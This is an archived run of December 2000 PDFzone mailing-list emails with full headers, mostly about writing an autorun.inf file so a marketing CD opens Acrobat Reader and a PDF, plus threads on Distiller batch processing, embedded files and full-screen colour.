__________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it. [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0 With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 20:30:19-GMT,4811;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA10602 for ; Wed, 6 Dec 2000 13:30:18 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA00261; Wed, 6 Dec 2000 14:30:04 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:21:10 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA32504; Wed, 6 Dec 2000 14:21:09 -0600 Received: from mail.Firstdatacorp.COM ([170.186.38.195]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA32500 for ; Wed, 6 Dec 2000 14:21:07 -0600 From: Jeanie.Shoemaker@firstdatacorp.com Received: (from smtp@localhost) by mail.Firstdatacorp.COM (8.9.3/8.9.3) id OAA13040 for ; Wed, 6 Dec 2000 14:08:19 -0600 (CST) X-Authentication-Warning: mail.firstdatacorp.com: smtp set sender to using -f Received: from () by mail via smap (V2.1) id xma012759; Wed, 6 Dec 00 20:07:21 GMT Subject: Re: [PDF] Distiller Batch Processing To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Wed, 6 Dec 2000 14:18:44 -0600 X-MIMETrack: Serialize by Router on SRVMTA1/FDR/FDC(Release 5.0.3 |March 21, 2000) at 12/06/2000 02:18:51 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We use the RunFilEx and RunDirEx postscript programs provided by Adobe, and have had no problem. Those have not worked for you? In another post, you said it was ""time consuming"" to use that method. How much time are you talking about, and which part takes up the time? Also, Leonard Rosenthall asked you how you were producing your postscript files...did I miss your response to that? We're on WinNT4, with Acro4.05. ""Cratty, Ken"" To: ""'pdf@lists.pdfzone.com'"" Sent by: cc: owner-pdf@lists.p Subject: [PDF] Distiller Batch Processing dfzone.com 12/06/2000 01:39 PM Please respond to pdf The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am still looking for a program that will work with my distiller to produce ONE pdf file from multiple postscript files in a Windows enviroment. Can anyone help me? Ken Cratty Electronic Prepress 4590 Graphics Drive White Plains, MD 20695 301.843.1800 ext.470 800.678.8760 Fax: 301.843.6339 kcratty@ags.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 20:31:39-GMT,4529;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA10662 for ; Wed, 6 Dec 2000 13:31:38 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA00458; Wed, 6 Dec 2000 14:31:29 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:23:19 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA32545; Wed, 6 Dec 2000 14:23:18 -0600 Received: from ns3.armintl.com (root@ns3.armintl.com [38.219.85.11]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA32541 for ; Wed, 6 Dec 2000 14:23:16 -0600 Received: from pc35 (aii2nat202.armintl.com [38.254.233.202]) by ns3.armintl.com (8.9.3/8.9.3) with ESMTP id PAA20635 for ; Wed, 6 Dec 2000 15:23:09 -0500 From: ""Pam Blasius"" To: Subject: RE: [PDF] autorun Date: Wed, 6 Dec 2000 15:26:18 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <3A2E9C1F.94534C5C@cooke.net> Importance: High Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Following is the autorun.inf file we use to do what you are asking: [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf Pam Blasius Marketing WebMaster Armstrong International, Inc. 816 Maple Street Three Rivers, MI 49093 USA Phone: (616) 279-3381 Fax: (616) 273-9057 pamb@armstrong-intl.com www.armstrong-intl.com -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Gayle Hermes Sent: Wednesday, December 06, 2000 3:06 PM To: pdf@lists.pdfzone.com Subject: [PDF] autorun The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it. [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0 With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe AllProductsCatalog\\ArmstrongSolutionSource.pdf Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 20:44:46-GMT,2632;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA11013 for ; Wed, 6 Dec 2000 13:44:44 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA01827; Wed, 6 Dec 2000 14:44:31 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:35:26 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA00841; Wed, 6 Dec 2000 14:35:19 -0600 Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA00825 for ; Wed, 6 Dec 2000 14:35:16 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 143lHX-000O8p-0A for pdf@lists.pdfzone.com; Wed, 6 Dec 2000 20:35:15 +0000 Message-ID: <3A2EAFAC.D2CAE07F@postle.net> Date: Wed, 06 Dec 2000 21:29:16 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Linked pdfmarks References: <20001206160640.HAJE25510.mtiwmhc25.worldnet.att.net@webmail.worldnet.att.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ geojohn@att.net wrote: > > To extract the files to your machine, first save the PDF > to your machine, open it directly in Acrobat (not in a > browser) right-click an annotation and select ""Extract > File..."". Do not double-click or otherwise launch the > files. Note that you will need Acrobat 4 or Business > Tools. Sorry to put you to that trouble.... I have never even seen a mention of embedded files in Acrobat... I guess i never got that far in the manual. The pdfmarks work fine... now all I have to do is write the captions to go in them Thanks a lot. Denis Postle The Mind Gymnasium: Digital Edition Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 20:44:48-GMT,3506;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA11017 for ; Wed, 6 Dec 2000 13:44:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA01828; Wed, 6 Dec 2000 14:44:31 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:35:36 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA00882; Wed, 6 Dec 2000 14:35:34 -0600 Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA00873 for ; Wed, 6 Dec 2000 14:35:30 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by finch-post-12.mail.demon.net with esmtp (Exim 2.12 #1) id 143lHl-000Cv7-0C for pdf@lists.pdfzone.com; Wed, 6 Dec 2000 20:35:29 +0000 Message-ID: <3A2EAFBC.14D60B31@postle.net> Date: Wed, 06 Dec 2000 21:29:32 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] FullScreen mode colour References: <000801c05f9a$8faf3340$510b83c1@gateway.quite.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Aandi Inston wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > > The problem is most apparent when I put up both the quark > > file and the pdf file > > in menu view next to each other. > > What is the colour depth on the monitor? 24bit Trucolor (ADI 17"" Trinitron) > I don't think we've yet seen how you are specifying the colour. > Are you using RGB or CMYK? > If you are using RGB, are you making sure that XPress is not > turning them to CMYK? I believe I'm only using RGB... the color quality is consistent between applications ie photoshop, quark and the acrobat menu view. It is only the Full View that is adrift > > > > I am using eBook setup in Distiller and the problem is duplicated on a > > second (PC 350Meg) machine. > > My Distiller doesn't have an ebook setting. Where did your come > from? > >From http://adobe.com/products/acrdis/createbooks.html files are: eBookOptimised_jobopt.zip (or hqx) There is an associated 91pp pdf 'How to Create Adobe pdf Files for eBooks'. Very handy it has been lately. I'll try some of the suggestions people have made in other messages and get back with what I discover. Thanks for your help Denis Postle The Mind Gymnasium: Digital Edition > > Aandi > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 20:46:17-GMT,2398;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA11112 for ; Wed, 6 Dec 2000 13:46:15 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA02065; Wed, 6 Dec 2000 14:46:04 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:37:51 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA01203; Wed, 6 Dec 2000 14:37:50 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA01199 for ; Wed, 6 Dec 2000 14:37:48 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id UAA29163 for ; Wed, 6 Dec 2000 20:37:55 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Distiller Batch Processing Date: Wed, 6 Dec 2000 20:37:47 -0000 Message-ID: <000c01c05fc4$65a33f40$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <081F59AF1333D311AF7D00805FA713BBBF5137@md-admin.ags.com> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I am still looking for a program that will work with my > distiller to produce > ONE pdf file from multiple postscript > files in a Windows enviroment. Can anyone help me? It is possible nobody has thought they could sell this because Distiller gives away the RunFileX facility for free. Try it - you might find it works for you. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 21:06:07-GMT,2732;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA11724 for ; Wed, 6 Dec 2000 14:06:06 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA03829; Wed, 6 Dec 2000 15:05:50 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 14:56:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA03157; Wed, 6 Dec 2000 14:56:03 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA03152 for ; Wed, 6 Dec 2000 14:56:01 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id UAA29215 for ; Wed, 6 Dec 2000 20:56:08 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] FullScreen mode colour Date: Wed, 6 Dec 2000 20:56:00 -0000 Message-ID: <001101c05fc6$f1101420$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <3A2EAFBC.14D60B31@postle.net> Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > > I don't think we've yet seen how you are specifying the colour. > > Are you using RGB or CMYK? > > If you are using RGB, are you making sure that XPress is not > > turning them to CMYK? > > I believe I'm only using RGB... the color quality is > consistent between > applications ie photoshop, quark and the acrobat menu view. > It is only the Full > View that is adrift You really need to confirm this. It is hard work to get RGB out of Distiller - can you check how you are specifying the colours, and make sure you have the option to print in RGB. If not, you are generating CMYK. CMYK display has no standard, and can vary radically (though it is unusual to vary in one application). > Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 21:14:49-GMT,10074;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA11974 for ; Wed, 6 Dec 2000 14:14:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA04681; Wed, 6 Dec 2000 15:14:29 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 15:04:57 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA03704; Wed, 6 Dec 2000 15:04:56 -0600 Received: from mailout1-1.nyroc.rr.com (mailout1-0.nyroc.rr.com [24.92.226.81]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA03700 for ; Wed, 6 Dec 2000 15:04:55 -0600 Received: from richardferris (rmh2-15f.twcny.rr.com [24.95.187.95]) by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with SMTP id QAA10196 for ; Wed, 6 Dec 2000 16:00:38 -0500 (EST) From: ""Richard Ferris"" To: Subject: RE: [PDF] autorun Date: Wed, 6 Dec 2000 16:08:13 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_004A_01C05F9E.BC748C00"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_004A_01C05F9E.BC748C00 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit To create and auto run command, do you just copy this into a *.txt file and place it on the CD or is there a specific way to create the auto run command? I have been looking for a way to do this for a while now. Thanks! Richard D Ferris Heck Enterprises www.heckenterprises.com 315-336-7582 Office 516-908-3856 Fax Following is the autorun.inf file we use to do what you are asking: [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf Pam Blasius Marketing WebMaster Armstrong International, Inc. 816 Maple Street Three Rivers, MI 49093 USA Phone: (616) 279-3381 Fax: (616) 273-9057 pamb@armstrong-intl.com www.armstrong-intl.com -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Gayle Hermes Sent: Wednesday, December 06, 2000 3:06 PM To: pdf@lists.pdfzone.com Subject: [PDF] autorun The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it. [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0 With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe AllProductsCatalog\\ArmstrongSolutionSource.pdf Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- ------=_NextPart_000_004A_01C05F9E.BC748C00 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable To create and auto run command, do = you just=20 copy this into a *.txt file and place it on the CD or is there a = specific way to=20 create the auto run command?  I have been looking for a way to do = this for=20 a while now.  Thanks!   Richard D = Ferris Heck = Enterprises www.heckenterprises.com   315-336-7582 = Office 516-908-3856 = Fax Following is the autorun.inf file we use to do = what you=20 are asking:[autorun]OPEN=3DAcrobat4.0\\Reader\\AcroRd32.exe=20 directoryname\\filename.pdfPam BlasiusMarketing=20 WebMasterArmstrong International, Inc.816 Maple StreetThree = Rivers,=20 MI  49093 USAPhone: (616) 279-3381Fax: (616)=20 273-9057pamb@armstrong-intl.comwww.armstrong-intl.com----= -Original=20 Message-----From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzon= e.com]OnBehalf=20 Of Gayle HermesSent: Wednesday, December 06, 2000 3:06 PMTo:=20 pdf@lists.pdfzone.comSubject: [PDF] autorunThe PDF = list is a=20 service provided by PDFzone.com | http://www.pdfzone.com___________= _______________________________________________________I'm=20 creating a pdf file for a client to beput on a CD as a marketing = piece.I=20 want the CD to autorun when insertedinto a PC computer. I've tried = the two=20 differnet autorun.infofiles below. However, with either one, when = theCD=20 is inserted, a window comes up saying the .exe filecannot not be = located=20 with an option to locate.When you click on the locate button and=20 thenclick on the CD it locates the .exe file. Once thatis done, = the CD=20 will autorun anytime you putit into that same computer. But as soon = as=20 youtake it to another CD it asks to locate the .exe file-if you = burn a=20 new CD it will still work onthat computer without having to locate = the .exe=20 file.My client wants their potential customers to beable to = insert the=20 CD into their computer andAcrobat Reader and the pdf file = automatically=20 comes up.Does anyone have any ideas as to what I'm doing = wrongand what I=20 need to do to fix it.[autorun]open=3D""Acrobat=20 4.0\\Reader\\AcroRd32.exe"" filename.pdfdefaulticon=3DAcrobat=20 0With this autorun.info below, I capitalized the .exe = and the=20 filenamebecause that is the way it burned onto the CD.I work on = a=20 macintosh, and the file names are alllower case, but when I burn the = CD for=20 ISO it capitalizesthe file names. This CD does not have to = becross=20 platform - I just want it to autorun for=20 pc.[autorun]open=3Dreader_search\\Reader\\ACRORD32.EXE=20 FILENAME.PDFicon=3Dreader_search\\Reader\\ACRORD32.EXEI would = greatly=20 appreciate any info on making a CD autorunon the PC=20 platform.Thanks,GayleReceive the latest PDF News = in your=20 Inbox. Date: Wed, 06 Dec 2000 15:22:22 -0600 From: Gayle Hermes Organization: Olympic Productions X-Mailer: Mozilla 4.61 (Macintosh; I; PPC) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] autorun References: Content-Type: multipart/alternative; boundary=""------------3452335A99D5E219706A2DCE"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ --------------3452335A99D5E219706A2DCE Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Running Acrobat inside the CD Read this article: http://www.planetpdf.com/planetpdf/pdfs/ReaderCD.pdf Everything is there. Enjoy it! Richard Ferris wrote: > To create and auto run command, do you just copy this into a *.txt > file and place it on the CD or is there a specific way to create the > auto run command? I have been looking for a way to do this for a > while now. Thanks! Richard D FerrisHeck > Enterpriseswww.heckenterprises.com 315-336-7582 Office516-908-3856 Fax > > Following is the autorun.inf file we use to do what you are asking: > > [autorun] > OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf > > Pam Blasius > Marketing WebMaster > Armstrong International, Inc. > 816 Maple Street > Three Rivers, MI 49093 USA > Phone: (616) 279-3381 > Fax: (616) 273-9057 > pamb@armstrong-intl.com > www.armstrong-intl.com > > -----Original Message----- > From: owner-pdf@lists.pdfzone.com > [mailto:owner-pdf@lists.pdfzone.com]On > Behalf Of Gayle Hermes > Sent: Wednesday, December 06, 2000 3:06 PM > To: pdf@lists.pdfzone.com > Subject: [PDF] autorun > > > > The PDF list is a service provided by PDFzone.com | > http://www.pdfzone.com > __________________________________________________________________ > > I'm creating a pdf file for a client to be > put on a CD as a marketing piece. > I want the CD to autorun when inserted > into a PC computer. I've tried the two differnet autorun.info > files below. However, with either one, when the > CD is inserted, a window comes up saying the .exe file > cannot not be located with an option to locate. > When you click on the locate button and then > click on the CD it locates the .exe file. Once that > is done, the CD will autorun anytime you put > it into that same computer. But as soon as you > take it to another CD it asks to locate the .exe file- > if you burn a new CD it will still work on > that computer without having to locate the .exe file. > My client wants their potential customers to be > able to insert the CD into their computer and > Acrobat Reader and the pdf file automatically comes up. > Does anyone have any ideas as to what I'm doing wrong > and what I need to do to fix it. > > > [autorun] > open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf > defaulticon=Acrobat 0 > > > > With this autorun.info below, I capitalized the .exe and the filename > because that is the way it burned onto the CD. > I work on a macintosh, and the file names are all > lower case, but when I burn the CD for ISO it capitalizes > the file names. This CD does not have to be > cross platform - I just want it to autorun for pc. > > [autorun] > open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF > icon=reader_search\\Reader\\ACRORD32.EXE > > I would greatly appreciate any info on making a CD autorun > on the PC platform. > > Thanks, > Gayle > > > Receive the latest PDF News in your Inbox. > > > --------------------------------------------------------------------------- > > [autorun] > OPEN=Acrobat4.0\\Reader\\AcroRd32.exe > AllProductsCatalog\\ArmstrongSolutionSource.pdf > > > Receive the latest PDF News in your Inbox. > > > --------------------------------------------------------------------------- --------------3452335A99D5E219706A2DCE Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  Running Acrobat inside the CD Read this article:  http://www.planetpdf.com/planetpdf/pdfs/ReaderCD.pdf Everything is there. Enjoy it!     Richard Ferris wrote:  To create and auto run command, do you just copy this into a *.txt file and place it on the CD or is there a specific way to create the auto run command?  I have been looking for a way to do this for a while now.  Thanks! Richard D FerrisHeck Enterpriseswww.heckenterprises.com 315-336-7582 Office516-908-3856 Fax Following is the autorun.inf file we use to do what you are asking: [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf Pam Blasius Marketing WebMaster Armstrong International, Inc. 816 Maple Street Three Rivers, MI  49093 USA Phone: (616) 279-3381 Fax: (616) 273-9057 pamb@armstrong-intl.com www.armstrong-intl.com -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Gayle Hermes Sent: Wednesday, December 06, 2000 3:06 PM To: pdf@lists.pdfzone.com Subject: [PDF] autorun     The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it.   [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0     With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF 